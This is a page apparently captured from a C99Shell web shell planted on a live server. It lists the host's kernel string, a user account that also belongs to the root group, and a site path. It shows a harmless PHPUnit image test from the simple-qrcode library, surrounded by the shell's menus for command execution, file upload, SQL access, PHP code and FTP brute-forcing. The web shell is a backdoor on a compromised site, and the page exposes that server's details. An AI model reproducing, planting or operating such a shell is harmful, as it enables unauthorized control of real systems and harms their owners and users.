!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/qr.picotech.app/public_html_v3_3/vendor/simplesoftwareio/simple-qrcode/tests/   drwxr-xr-x
Free 25.38 GB of 117.98 GB (21.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ImageTest.php (2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use PHPUnit\Framework\TestCase;
use 
SimpleSoftwareIO\QrCode\Image;

class 
ImageTest extends TestCase
{
    
/**
     * The location to save the testing image.
     *
     * @var string
     */
    
protected $testImageSaveLocation;

    
/**
     * The location to save the compare image.
     *
     * @var string
     */
    
protected $compareTestSaveLocation;

    
/**
     * The path to the image used to test.
     *
     * @var string
     */
    
protected $imagePath;

    
/**
     * The Image object.
     *
     * @var Image
     */
    
protected $image;

    public function 
setUp(): void
    
{
        
$this->imagePath file_get_contents(dirname(__FILE__).'/Images/simplesoftware-icon-grey-blue.png');
        
$this->image = new Image($this->imagePath);

        
$this->testImageSaveLocation dirname(__FILE__).'/testImage.png';
        
$this->compareTestSaveLocation dirname(__FILE__).'/compareImage.png';
    }

    public function 
tearDown(): void
    
{
        @
unlink($this->testImageSaveLocation);
        @
unlink($this->compareTestSaveLocation);
    }

    
/**
     * Must test that the outputted PNG is the same because you can not compare resources.
     */
    
public function test_it_loads_an_image_string_into_a_resource()
    {
        
imagepng(imagecreatefromstring($this->imagePath), $this->compareTestSaveLocation);
        
imagepng($this->image->getImageResource(), $this->testImageSaveLocation);

        
$correctImage file_get_contents($this->compareTestSaveLocation);
        
$testImage file_get_contents($this->testImageSaveLocation);

        
$this->assertEquals($correctImage$testImage);
    }

    public function 
test_it_gets_the_correct_height()
    {
        
$correctHeight 512;

        
$testHeight $this->image->getHeight();

        
$this->assertEquals($correctHeight$testHeight);
    }

    public function 
test_it_gets_the_correct_width()
    {
        
$correctWidth 512;

        
$testWidth $this->image->getWidth();

        
$this->assertEquals($correctWidth$testWidth);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--